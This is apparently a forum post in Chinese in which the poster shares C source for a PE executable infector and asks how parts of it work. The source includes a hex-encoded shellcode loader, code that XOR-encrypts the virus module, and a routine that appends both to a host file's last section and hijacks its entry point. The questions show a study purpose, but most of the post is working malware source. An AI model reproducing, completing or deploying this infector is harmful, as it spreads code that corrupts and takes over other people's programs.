HANDLE hShellModule;
UCHAR ntshldr[] = {
0x68, 0x78, 0x56, 0x34, 0x12, 0xE8, 0xBE, 0x00, 0x00, 0x00, 0x8B, 0xC4, 0x96, 0xAD, 0x83, 0xF8,
0xFF, 0x75, 0xF9, 0x8B, 0x16, 0x4A, 0x66, 0x33, 0xD2, 0x66, 0x81, 0x3A, 0x4D, 0x5A, 0x75, 0xF5,
0x8B, 0x4A, 0x3C, 0x81, 0x3C, 0x0A, 0x50, 0x45, 0x00, 0x00, 0x75, 0xE9, 0xE8, 0x00, 0x00, 0x00,
0x00, 0x58, 0x2D, 0xD8, 0xFE, 0xFF, 0xFF, 0xC8, 0x80, 0x00, 0x00, 0x89, 0x45, 0x98, 0x8D, 0x30,
0x8B, 0xFC, 0xE8, 0xA1, 0x00, 0x00, 0x00, 0xBF, 0x04, 0x01, 0x00, 0x00, 0x2B, 0xE7, 0x54, 0x57,
0xFF, 0x55, 0x8C, 0x8B, 0xC4, 0x2B, 0xE7, 0x54, 0x6A, 0x00, 0xE8, 0x03, 0x00, 0x00, 0x00, 0x53,
0x48, 0x00, 0x50, 0xFF, 0x55, 0x88, 0x8B, 0xC4, 0x53, 0x53, 0x6A, 0x02, 0x53, 0x6A, 0x00, 0x68,
0x00, 0x00, 0x00, 0x40, 0x50, 0xFF, 0x55, 0x84, 0x89, 0x45, 0x9C, 0x40, 0x74, 0x47, 0x83, 0xEE,
0xF3, 0xAD, 0x93, 0x81, 0xEC, 0x00, 0x10, 0x00, 0x00, 0x8B, 0xFC, 0xB9, 0x00, 0x10, 0x00, 0x00,
0x3B, 0xD9, 0x73, 0x02, 0x8B, 0xCB, 0x51, 0x57, 0xAC, 0x34, 0x3C, 0xAA, 0xE2, 0xFA, 0x5F, 0x59,
0x2B, 0xD9, 0x54, 0x8B, 0xC4, 0x6A, 0x00, 0x50, 0x51, 0x57, 0xFF, 0x75, 0x9C, 0xFF, 0x55, 0x94,
0x58, 0x85, 0xDB, 0x75, 0xD6, 0x81, 0xC4, 0x00, 0x10, 0x00, 0x00, 0xFF, 0x75, 0x9C, 0xFF, 0x55,
0x80, 0x54, 0xFF, 0x55, 0x90, 0xC9, 0xEB, 0x0B, 0x60, 0x33, 0xDB, 0xE8, 0x0E, 0x00, 0x00, 0x00,
0x58, 0x58, 0x5C, 0x33, 0xDB, 0x64, 0x8F, 0x03, 0x58, 0x61, 0x83, 0xC4, 0x04, 0xC3, 0x64, 0xFF,
0x33, 0x64, 0x89, 0x23, 0xFF, 0x64, 0x24, 0x28, 0x60, 0x8B, 0x4A, 0x3C, 0x03, 0xCA, 0x8B, 0x59,
0x78, 0x03, 0xDA, 0x83, 0xCD, 0xFF, 0x8B, 0x4B, 0x20, 0x03, 0xCA, 0x45, 0x8B, 0xC2, 0x03, 0x04,
0xA9, 0xE8, 0x28, 0x00, 0x00, 0x00, 0x66, 0x39, 0x06, 0x75, 0xF0, 0x8B, 0x43, 0x24, 0x03, 0xC2,
0x0F, 0xB7, 0x04, 0x68, 0x8B, 0x4B, 0x1C, 0x03, 0xCA, 0x8B, 0x04, 0x81, 0x03, 0xC2, 0xAB, 0x46,
0x46, 0x80, 0x3E, 0x00, 0x75, 0xD0, 0x61, 0xC3, 0x51, 0x52, 0x57, 0x97, 0xEB, 0x11, 0x51, 0x52,
0x57, 0x97, 0x33, 0xC0, 0x83, 0xC9, 0xFF, 0xF2, 0xAE, 0xF7, 0xD1, 0x48, 0x2B, 0xF9, 0x49, 0x32,
0x07, 0x47, 0xB2, 0x08, 0xD1, 0xE8, 0x73, 0x05, 0x35, 0x20, 0x83, 0xB8, 0xED, 0xFE, 0xCA, 0x75,
0xF3, 0xE2, 0xEC, 0x5F, 0x5A, 0x59, 0xF7, 0xD0, 0xC3, 0xF4, 0x15, 0x78, 0x5C, 0x08, 0x23, 0x41,
0x16, 0x8D, 0xBD, 0x12, 0x56, 0x00
};
BOOL APIENTRY DllMain(HANDLE, DWORD, LPVOID);
VOID APIENTRY EntryPoint();
//pFile 被感染文件的内容指针
//nFileSize 被感染文件的大小
//pModule 当前文件的内容指针
//nModuleSize 当前文件的大小
int PatchFile(PVOID file, ULONG fsize, PVOID module, ULONG msize)
{
PIMAGE_SECTION_HEADER pLastSection;
PBYTE pCodePointer;
DWORD i, nLastSectionLength;
PIMAGE_DOS_HEADER pdh;
PVOID pnh;
PIMAGE_FILE_HEADER pfh;
PIMAGE_OPTIONAL_HEADER poh;
//判断是不是有效的PE文件
if (*(PWORD)file != IMAGE_DOS_SIGNATURE || *(PDWORD)NTSIGNATURE(file) != IMAGE_NT_SIGNATURE)
{
// DbgPrint(("错误，不是PE文件"));
return 0;
}
pdh = (PIMAGE_DOS_HEADER)file;
pnh = NTSIGNATURE((PIMAGE_FILE_HEADER)file);
pfh = (PIMAGE_FILE_HEADER)PEFHDROFFSET(file);
poh = (PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(file);
pLastSection = IMAGE_FIRST_SECTION(pnh) + pfh->NumberOfSections - 1;
//一般PE中的节都采用512字节或4K字节的对齐方式
if (poh->FileAlignment != 0x200 && poh->FileAlignment != 0x1000)
{
// DbgPrint(("无法处理该文件"));
return 0;
}
//计算pe文件长度 如果计算值与filesize不符 则说明有附加数据
if (pLastSection->PointerToRawData + pLastSection->SizeOfRawData < fsize)
{
// DbgPrint(("文件具有附加数据，修改可能导致程序无法运行，拒绝尝试"));
return 0;
}
//模块类型改成DLL
((PIMAGE_FILE_HEADER)PEFHDROFFSET(module))->Characteristics = 0x210E;
//模块入口改成DLL入口
((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(module))->AddressOfEntryPoint += (DWORD)DllMain - (DWORD)EntryPoint;
for (i = 0; i < msize; i++)
((PBYTE)module)[i] ^= 0x3c; //使用约定密钥加密
// DbgPrint(("扩充最后一节"));
nLastSectionLength = (pLastSection->SizeOfRawData + poh->FileAlignment - 1) & ~(poh->FileAlignment - 1);
pCodePointer = (PBYTE)file + pLastSection->PointerToRawData + nLastSectionLength;
*(PDWORD)(ntshldr + 1) = poh->ImageBase + poh->AddressOfEntryPoint; //写入原程序入口到Loader中
memcpy(pCodePointer, ntshldr, sizeof(ntshldr)); //写入Loader
memcpy(pCodePointer + sizeof(ntshldr), &msize, sizeof(DWORD)); //写入模块长度
memcpy(pCodePointer + sizeof(ntshldr) + sizeof(DWORD), module, msize); //写入模块
poh->AddressOfEntryPoint = pLastSection->VirtualAddress + nLastSectionLength; //更新程序入口点
nLastSectionLength = nLastSectionLength + msize + sizeof(ntshldr) + 4;
pLastSection->Misc.VirtualSize = nLastSectionLength; //更新最后一节的长度
nLastSectionLength = (nLastSectionLength + poh->FileAlignment - 1) & ~(poh->FileAlignment - 1);
pLastSection->SizeOfRawData = nLastSectionLength; //更新最后一节的长度
poh->SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize;
return (pLastSection->PointerToRawData + pLastSection->SizeOfRawData + 0xfff) & 0xfffff000;
}
这是个感染可执行文件的代码 我已经分析了一部分并加有注释，但还有些问题不懂
比如：
//模块类型改成DLL
((PIMAGE_FILE_HEADER)PEFHDROFFSET(module))->Characteristics = 0x210E;
//模块入口改成DLL入口
((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(module))->AddressOfEntryPoint += (DWORD)DllMain - (DWORD)EntryPoint;
DllMain的地址减去EntryPoint的地址得到一个什么值，和新入口有什么关系
nLastSectionLength = (pLastSection->SizeOfRawData + poh->FileAlignment - 1) & ~(poh->FileAlignment - 1);
pCodePointer = (PBYTE)file + pLastSection->PointerToRawData + nLastSectionLength;
*(PDWORD)(ntshldr + 1) = poh->ImageBase + poh->AddressOfEntryPoint; //写入原程序入口到Loader中
memcpy(pCodePointer, ntshldr, sizeof(ntshldr)); //写入Loader
memcpy(pCodePointer + sizeof(ntshldr), &msize, sizeof(DWORD)); //写入模块长度
memcpy(pCodePointer + sizeof(ntshldr) + sizeof(DWORD), module, msize); //写入模块
这里的写入loader是怎么回事
数组ntshldr[]中存的16进制值是什么
[培训]科锐逆向工程师培训第53期2025年7月8日开班！
